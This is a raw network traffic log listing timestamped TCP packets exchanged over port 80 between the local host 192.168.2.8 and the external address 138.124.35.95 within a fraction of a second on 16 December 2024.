Dec 16, 2024 17:02:32.728615046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.728669882 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.729079008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.729216099 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.729250908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.729274988 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.729782104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.729841948 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.730019093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.730053902 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.730074883 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.730560064 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.730614901 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.730645895 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.730681896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.731167078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.731225014 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.731267929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.731302023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.731357098 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.731796026 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.731848001 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.731935978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.731986046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.732642889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.732698917 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.732784033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.732817888 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.732846975 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.733515978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.733575106 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.733705044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.733740091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.733792067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.734375000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.734509945 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.734543085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.734596968 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.735085964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.735145092 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.735172033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.735205889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.735260010 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.735874891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.736020088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.736054897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.736073971 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.736908913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.736970901 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.737041950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.737076998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.737133980 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.737689018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.737886906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.737936020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.737947941 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.738432884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.738488913 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.738637924 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.738672018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.738719940 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.739443064 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.739495993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.739532948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.739593983 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.740204096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.740259886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.740442991 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.740478992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.740566015 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.740581036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.741126060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.741180897 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.741252899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.741286993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.741390944 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.741867065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.742018938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.742053986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.742090940 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.742572069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.742624998 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.742696047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.742729902 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.742780924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.743211031 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.743364096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.743400097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.743422031 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.743969917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.744020939 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.744102955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.744137049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.744184017 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.744623899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.744749069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.744782925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.744792938 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.745305061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.745362997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.745449066 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.745484114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.745595932 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.746095896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.746200085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.746232986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.746264935 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.746828079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.746992111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.747000933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.747026920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.747076988 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.747648954 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.747788906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.747823000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.747833014 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.748415947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.748475075 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.748647928 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.748683929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.748823881 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.749342918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.749377012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.749412060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.749460936 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.749967098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.750041008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.750118017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.750152111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.750247002 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.750654936 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.750816107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.750849962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.750881910 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.751329899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.751393080 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.751502037 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.751535892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.751590967 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.752090931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.752186060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.752218008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.752264977 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.752832890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.752892017 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.753144026 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.753179073 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.753232956 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.753271103 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.753999949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.754056931 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.754082918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.754117012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.754260063 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.754730940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.754868031 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.754900932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.754936934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.755348921 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.755414009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.755417109 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.755448103 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.755506039 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.755932093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.756073952 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.756123066 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.756156921 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.756998062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.757033110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.757069111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.757082939 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.757114887 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.757217884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.757381916 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.757432938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.757451057 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.757882118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.757930040 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.758004904 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.758038998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.758179903 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.758559942 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.758665085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.758701086 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.758749008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.759301901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.759351015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.759357929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.759402990 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.759499073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.759931087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.760027885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.760062933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.760112047 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.760651112 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.760761023 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.760792971 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.760828018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.760935068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.761404991 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.761535883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.761569977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.761584044 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.762356043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.762391090 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.762409925 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.762427092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.762547016 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.763083935 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.763215065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.763247967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.763274908 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.763823986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.763936043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.763953924 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.763987064 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.764112949 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.764683008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.764847040 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.764880896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.764904976 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.765408993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.765465975 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.765552998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.765639067 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.765672922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.765691996 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.766207933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.766242027 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.766269922 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.766278982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.766403913 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.766802073 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.766902924 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.767110109 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.767343998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.767533064 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.767669916 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.767674923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.767710924 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.767760992 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.768584967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.768928051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.768961906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.768984079 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.769541025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.769591093 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.769716024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.769732952 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.769788980 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.770446062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.770729065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.770744085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.770781994 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.771192074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.771239996 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.771344900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.771363020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.771409988 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.771955967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.772068977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.772083998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.772125006 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.773212910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.773287058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.773302078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.773318052 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.773360014 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.773549080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.773783922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.773799896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.773834944 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.774255991 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.774303913 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.774415016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.774430990 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.774472952 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.775151968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.775230885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.775336027 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.775381088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.775801897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.775850058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.775952101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.775968075 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.776019096 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.776458025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.776546001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.776561975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.776614904 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.777070045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.777117968 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.777324915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.777342081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.777383089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.777993917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.778129101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.778145075 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.778183937 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.779005051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.779105902 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.779335022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.779406071 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.779422045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.779484987 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.780133009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.780174017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.780222893 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.847129107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.847204924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.847227097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.847245932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.847296000 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.847544909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.847778082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.847795963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.847848892 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.848388910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.848444939 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.848557949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.848577023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.848625898 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.849102974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.849303961 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.849348068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.849720955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.849982023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.850064993 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.850383043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.850563049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.850579977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.850627899 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.851092100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.851193905 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.851242065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.851259947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.851301908 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.851737976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.851912975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.851927996 CET	80	49714	138.124.35.95	192.168.2.8
